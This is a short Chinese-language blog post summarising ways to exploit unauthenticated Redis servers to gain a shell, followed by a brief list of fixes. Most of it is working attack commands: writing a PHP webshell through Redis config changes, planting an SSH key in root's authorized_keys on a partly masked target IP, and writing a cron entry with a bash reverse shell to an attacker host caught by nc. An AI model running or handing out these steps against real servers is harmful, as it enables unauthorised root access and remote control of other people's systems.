美文网首页渗透安全
Redis未授权漏洞利用方式

Redis未授权漏洞利用方式

作者: V7hinc | 来源:发表于2019-06-13 11:33 被阅读8次

    总结一下redis未授权拿shell:

    redis-cli -h ip

    info 查看系统类型

    Windows:

    1.找网站绝对路径
    2.config set dir 绝对路径根路径

    config get dir

    config set dbfilename indexbak.php

    set webshell "<?php phpinfo();?>"

    save

    Linux系统:

    第一种:写密钥

    第二种:写crotab反弹shell

    第三种:找绝对路径写webshell

    1)本地生成秘钥

    root@GanDolf:~# ssh-keygen -t rsa

    2)将公钥写入一个文件

    root@GanDolf:~# cd /root/.ssh/

    root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

    3)连接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

    OK
    root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx

    210.73.90.xxx:6379> config set dir /root/.ssh/
    OK
    (1.39s)
    210.73.90.xxx:6379> CONFIG GET dir

    1. "dir"
    2. "/root/.ssh"
      210.73.90.xxx:6379> config set dbfilename "authorized_keys"
      OK
      (1.03s)
      210.73.90.xxx:6379> SAVE
      saOK
      (1.40s)
      210.73.90.xxx:6379> SAVE
      OK
      210.73.90.xxx:6379> exit
      root@GanDolf:~/.ssh# ssh

    4)连接服务器

    root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

    二、 利用方式不需要猜 web路径,写到cron里面

    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.23 -x set 1
    redis-cli -h 42.121.237.23                                                                                      
    42.121.237.23:6379> config set dir /var/spool/cron
    OK
    42.121.237.23:6379> config set dbfilename root
    OK
    42.121.237.23:6379> save
    OK
    

    然后本机nc -lvv 2333
    一会儿shell就弹回来了。

    修复建议:

    1)修改默认端口

    2)监听本地端口

    3)使用非root启动,否则出现漏洞1,直接拿到root权限

    4)修改配置文件,禁用相关命令

    相关文章

      网友评论

        本文标题:Redis未授权漏洞利用方式

        本文链接:https://www.haomeiwen.com/subject/tfvjfctx.html